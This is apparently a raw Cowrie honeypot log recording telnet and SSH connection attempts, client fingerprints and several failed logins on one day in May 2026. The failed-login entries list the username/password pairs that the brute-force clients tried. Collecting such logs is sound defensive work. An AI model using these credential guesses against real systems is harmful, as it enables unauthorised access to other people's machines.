{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43248,"dst_ip":"159.203.135.109","dst_port":23,"session":"443cc5e85c16","protocol":"telnet","message":"New connection: 161.97.105.174:43248 (159.203.135.109:23) [session: 443cc5e85c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:12.720763Z"}
{"eventid":"cowrie.session.closed","duration":33.48830199241638,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:13.008671Z","src_ip":"161.97.105.174","session":"1e48482183c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43254,"dst_ip":"159.203.135.109","dst_port":23,"session":"10cf75697f74","protocol":"telnet","message":"New connection: 161.97.105.174:43254 (159.203.135.109:23) [session: 10cf75697f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:13.124278Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43270,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc2cc443d4b7","protocol":"telnet","message":"New connection: 161.97.105.174:43270 (159.203.135.109:23) [session: cc2cc443d4b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:13.735501Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43276,"dst_ip":"159.203.135.109","dst_port":23,"session":"77bcfc7e4948","protocol":"telnet","message":"New connection: 161.97.105.174:43276 (159.203.135.109:23) [session: 77bcfc7e4948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:13.833988Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43288,"dst_ip":"159.203.135.109","dst_port":23,"session":"751b80f1e865","protocol":"telnet","message":"New connection: 161.97.105.174:43288 (159.203.135.109:23) [session: 751b80f1e865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:17.125271Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43292,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ad952b77dc3","protocol":"telnet","message":"New connection: 161.97.105.174:43292 (159.203.135.109:23) [session: 9ad952b77dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:17.149812Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60172,"dst_ip":"159.203.135.109","dst_port":23,"session":"68893e31a3d6","protocol":"telnet","message":"New connection: 161.97.105.174:60172 (159.203.135.109:23) [session: 68893e31a3d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:19.055761Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":50756,"dst_ip":"10.17.0.5","dst_port":22,"session":"145af057592a","protocol":"ssh","message":"New connection: 152.32.130.174:50756 (10.17.0.5:22) [session: 145af057592a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:23.778881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:23.785110Z","src_ip":"152.32.130.174","session":"145af057592a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:24.005127Z","src_ip":"152.32.130.174","session":"145af057592a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ab123456@","message":"login attempt [ubuntu/Ab123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:24.909580Z","src_ip":"152.32.130.174","session":"145af057592a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60178,"dst_ip":"159.203.135.109","dst_port":23,"session":"fba782d401f6","protocol":"telnet","message":"New connection: 161.97.105.174:60178 (159.203.135.109:23) [session: fba782d401f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:25.920965Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:26.130400Z","src_ip":"152.32.130.174","session":"145af057592a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38300,"dst_ip":"159.203.135.109","dst_port":23,"session":"6076a8936315","protocol":"telnet","message":"New connection: 161.97.105.174:38300 (159.203.135.109:23) [session: 6076a8936315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:30.072692Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38314,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1083de5601d","protocol":"telnet","message":"New connection: 161.97.105.174:38314 (159.203.135.109:23) [session: d1083de5601d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:35.735625Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":40184,"dst_ip":"10.17.0.5","dst_port":22,"session":"fea134d345c2","protocol":"ssh","message":"New connection: 154.219.100.220:40184 (10.17.0.5:22) [session: fea134d345c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:35.957130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:35.962507Z","src_ip":"154.219.100.220","session":"fea134d345c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:36.161908Z","src_ip":"154.219.100.220","session":"fea134d345c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rezareza","message":"login attempt [root/rezareza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:36.991837Z","src_ip":"154.219.100.220","session":"fea134d345c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:38.194032Z","src_ip":"154.219.100.220","session":"fea134d345c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.48327708244324,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:39.815523Z","src_ip":"161.97.105.174","session":"427c256f992a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60524,"dst_ip":"159.203.135.109","dst_port":23,"session":"45e3489a0203","protocol":"telnet","message":"New connection: 161.97.105.174:60524 (159.203.135.109:23) [session: 45e3489a0203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:41.987266Z"}
{"eventid":"cowrie.session.closed","duration":31.375800371170044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:44.096427Z","src_ip":"161.97.105.174","session":"443cc5e85c16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.55302715301514,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:46.386925Z","src_ip":"161.97.105.174","session":"77bcfc7e4948","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.91348934173584,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:47.648843Z","src_ip":"161.97.105.174","session":"cc2cc443d4b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.164121866226196,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:48.288014Z","src_ip":"161.97.105.174","session":"10cf75697f74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.963319063186646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:49.088454Z","src_ip":"161.97.105.174","session":"751b80f1e865","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.40603733062744,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:51.555364Z","src_ip":"161.97.105.174","session":"9ad952b77dc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.78560543060303,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:54.841261Z","src_ip":"161.97.105.174","session":"68893e31a3d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.14228582382202,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:30:59.063119Z","src_ip":"161.97.105.174","session":"fba782d401f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35178,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bac27103b98","protocol":"telnet","message":"New connection: 161.97.105.174:35178 (159.203.135.109:23) [session: 9bac27103b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:00.611638Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35192,"dst_ip":"159.203.135.109","dst_port":23,"session":"c93a2804e250","protocol":"telnet","message":"New connection: 161.97.105.174:35192 (159.203.135.109:23) [session: c93a2804e250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:03.867206Z"}
{"eventid":"cowrie.session.closed","duration":34.352906942367554,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:04.425466Z","src_ip":"161.97.105.174","session":"6076a8936315","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35208,"dst_ip":"159.203.135.109","dst_port":23,"session":"f50e93e211a5","protocol":"telnet","message":"New connection: 161.97.105.174:35208 (159.203.135.109:23) [session: f50e93e211a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:06.932839Z"}
{"eventid":"cowrie.session.closed","duration":31.62611222267151,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:07.361593Z","src_ip":"161.97.105.174","session":"d1083de5601d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":18563,"dst_ip":"159.203.135.109","dst_port":22,"session":"9521b9cd3347","protocol":"ssh","message":"New connection: 220.247.224.226:18563 (159.203.135.109:22) [session: 9521b9cd3347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:08.344539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:08.349444Z","src_ip":"220.247.224.226","session":"9521b9cd3347","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:08.576812Z","src_ip":"220.247.224.226","session":"9521b9cd3347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"iloveyou","message":"login attempt [admin/iloveyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:09.513963Z","src_ip":"220.247.224.226","session":"9521b9cd3347","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38098,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb56c7aa307d","protocol":"telnet","message":"New connection: 161.97.105.174:38098 (159.203.135.109:23) [session: bb56c7aa307d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:10.562069Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:10.741799Z","src_ip":"220.247.224.226","session":"9521b9cd3347","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":51542,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ac966d3ee83","protocol":"ssh","message":"New connection: 193.32.162.145:51542 (10.17.0.5:22) [session: 7ac966d3ee83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:14.972203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:14.987218Z","src_ip":"193.32.162.145","session":"7ac966d3ee83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.063220739364624,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:15.050400Z","src_ip":"161.97.105.174","session":"45e3489a0203","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:15.080240Z","src_ip":"193.32.162.145","session":"7ac966d3ee83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38102,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd58445d4dfd","protocol":"telnet","message":"New connection: 161.97.105.174:38102 (159.203.135.109:23) [session: cd58445d4dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:15.495161Z"}
{"eventid":"cowrie.login.failed","username":"sol","password":"anza","message":"login attempt [sol/anza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:15.503829Z","src_ip":"193.32.162.145","session":"7ac966d3ee83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:16.719630Z","src_ip":"193.32.162.145","session":"7ac966d3ee83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":33052,"dst_ip":"10.17.0.5","dst_port":22,"session":"439519cc8a29","protocol":"ssh","message":"New connection: 152.32.130.174:33052 (10.17.0.5:22) [session: 439519cc8a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:17.653203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:17.658358Z","src_ip":"152.32.130.174","session":"439519cc8a29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38114,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0f6b70665fb","protocol":"telnet","message":"New connection: 161.97.105.174:38114 (159.203.135.109:23) [session: e0f6b70665fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:17.743523Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:17.872879Z","src_ip":"152.32.130.174","session":"439519cc8a29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwertyroot","message":"login attempt [test/qwertyroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:18.797765Z","src_ip":"152.32.130.174","session":"439519cc8a29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35154,"dst_ip":"159.203.135.109","dst_port":23,"session":"a22688bee63a","protocol":"telnet","message":"New connection: 161.97.105.174:35154 (159.203.135.109:23) [session: a22688bee63a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:19.914875Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:20.016819Z","src_ip":"152.32.130.174","session":"439519cc8a29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35162,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf91391806e8","protocol":"telnet","message":"New connection: 161.97.105.174:35162 (159.203.135.109:23) [session: cf91391806e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:31:23.966486Z"}
